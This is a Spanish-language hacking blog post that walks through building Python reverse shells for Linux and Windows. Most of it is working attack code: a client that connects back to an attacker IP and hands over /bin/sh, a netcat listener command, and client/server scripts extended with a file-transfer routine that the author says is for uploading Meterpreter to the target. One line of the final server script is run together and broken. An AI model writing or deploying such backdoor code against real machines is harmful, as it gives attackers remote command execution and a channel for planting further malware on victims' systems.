Se me cayo un exploit

SEGURIDAD INFORMÁTICA

HACKING . PROGRAMACIÓN . ELECTRÓNICA . GNU/LINUX

Se me cayó un exploit en tu server.... por @UnaPibaGeek

[email protected]:~$ ./Python

No es mi lenguaje preferido, pero hay que admitir que es útil, rápido y eficaz.

Reverse Shells en Python (Windows/Linux)

reverse_shell.PNG

NOOOOOOOOO SE ME TERMINAN LAS VACACIONES LOCO!! Mañana es lunes, hay que levantarse temprano, trabajar... U.U jajaj igual no me quejo, fueron unas excelentes vacaciones, renovadoras y ojalá que todo lo que resta del año sea un buen año!!.

Bueno, los que me conocen saben que, aunque programo en Python y lo uso bastante, es un lenguaje que odio (después de Java). Estoy totalmente en contra de la filosofía de dicho lenguaje, de hecho, para mí, si únicamente programas en python entonces todavía no sabes programar :P todavía te falta romperte la cabeza con lenguajes como C/C++ por ejemplo. OK, habiendo dicho esto y dejando mi conciencia tranquila antes de empezar, además de haberme ganado su odio porque seguro son Python fans, procedemos a dar inicio con el tema de la nota:

Programar una shell inversa en Python para Linux que funcione bien y sea estable es realmente muy fácil. Códigos similares al siguiente encontrarán publicados en varios sitios:

import socket,subprocess,os

IP = "192.168.1.112" # IP ATACANTE
PUERTO = 1337

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PUERTO))

# Redireccion de in/out/err:
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

c = subprocess.call(["/bin/sh","-i"])




Este script nos brinda una shell interactiva. El equipo atacante deberá poner el puerto a la escucha, por ejemplo con Netcat (nc -v -l -p 1337) y eso será suficiente para recibir la shell una vez que la máquina target ejecute el script.

Para Windows el asunto se complica un poco, ya que no podemos redireccionar el IN/OUT/ERR y obtener una shell interactiva. Por lo tanto, tendremos que programar un script servidor para el socket, que se ejecute en la máquina atacante y sea capaz de interactuar con el script cliente en el equipo objetivo. Con interactuar me refiero a enviar los comandos a ejecutar en el sistema operativo desde el servidor y que el cliente los reciba y ejecute enviando la salida de regreso.

La típica shell inversa en Python que podemos encontrar para Windows es similar a la siguiente:

Script cliente (máquina target):

 
import socket,subprocess

IP = "192.168.1.112" # IP ATACANTE
PUERTO = 1337

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PUERTO))
    
while True:
    command = s.recv(1024)

    if "quit" in command:
        s.close()
        break
    else:
        cmd = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        s.send(cmd.stdout.read())
        s.send(cmd.stderr.read())




Script servidor (máquina atacante):

import socket

IP = "192.168.1.112" # IP ATACANTE
PUERTO = 1337

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((IP,PUERTO))
s.listen(1)
conn, addr = s.accept()

while True:
    command = raw_input(">")

    if "quit" in command:
        conn.send("quit")
        conn.close()
        break

    else:
        conn.send(command)
        print conn.recv(2048)



Mientras el script servidor esté corriendo, cuando la máquina target ejecute el script cliente, el servidor mostrará un ">" como raw_input() listo para recibir el comando a ser enviado para su ejecución. El cliente utiliza subprocess para ejecutar los comandos en el sistema operativo y luego envía el OUT/ERR, es decir la salida del comando sea válida o errónea, al servidor.
Si desde el servidor se envía el comando "quit" la sesión se finaliza.



El problema con esta shell... es que no me convence :p si la salida del comando ejecutado supera la capacidad del buffer, la shell se destartala e incluso podemos llegar a perder la sesión. Además, no es una shell interactiva como el caso de Linux, aquí cada comando se ejecuta en su propia vía y si queremos hacer un "cd ../../" la cosa se pone fea :p

Así que hice unas modificaciones en los scripts de cliente y servidor. Le añadí al servidor una función más estable para la recepción de la salida de los comandos, de manera que, si el buffer es superado, se van acumulando los bytes y luego se imprime en pantalla la salida completa, evitando que se destartale la shell y se pierda la sesión. Por otro lado, agregué una función para transferir archivos desde el servidor al cliente, o sea, desde la máquina atacante a la máquina target. Así, de última, le subimos un meterpreter o algo más lindo y listo :P

Script cliente (máquina target):

import socket,subprocess,time

IP = "192.168.1.112" # IP ATACANTE
PUERTO = 1337

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PUERTO))

def recv_file(s):
    f = open("test.exe","wb")
    while True:
        packet = s.recv(1024)
        if packet.endswith("EOF"):
            break
        f.write(packet)
    f.close()
    
while True:
    command = s.recv(1024)
    
    if "quit" in command:
        s.close()
        break
    elif "transfer" in command:
        recv_file(s)
    else:
        cmd = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        s.send(cmd.stdout.read())
        s.send(cmd.stderr.read())



Script servidor (máquina atacante):

import socket,time,os

IP = "192.168.1.112" # IP ATACANTE
PUERTO = 1337

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((IP,PUERTO))
s.listen(1)
conn, addr = s.accept()
full_data = []

def send_file(sock,path):
    if os.path.exists(path):
        f = open(path,"rb")
        packet = f.read(1024)
        while packet != "":
            sock.send(packet)
            packet = f.read(1024)
        sock.send("EOF")
        f.close()

def recv(sock,timeout=1):
    sock.setblocking(0)
    full_data = []
    data = ""        
    begin= time.time()

    while 1:
        if full_data and time.time()-begin > timeout:
            break
        try:
            data = sock.recv(2048)            if data:
                full_data.append(data)
                begin= time.time()
            else:
                time.sleep(0.1)
        except:
            pass
    
    return "".join(full_data) 
    

while True:
    command = raw_input(">")

    if "quit" in command:
        conn.send("quit")
        conn.close()
        break
    elif "transfer" in command:
        transfer,path = command.split("=")
        conn.send(transfer)
        try:
            send_file(conn,path)
        except Exception,e:
            pass 
    else:
        conn.send(command)
        print recv(conn)



Funciona como una shell normal, con la diferencia de que si el servidor ejecuta el comando "transfer" por ejemplo de la siguiente manera: >transfer=/root/Desktop/meterpreter.exe el cliente creará un archivo test.exe con el contenido de meterpreter.exe. Es decir, habremos subido un meterpreter a la máquina target a través de esta shell.

Espero que les sea de utilidad!.

¿Te cansaste de leer? Tomate un café (share):

Fecha: 28/02/2016

¡Suscribite!

Aprendé más en...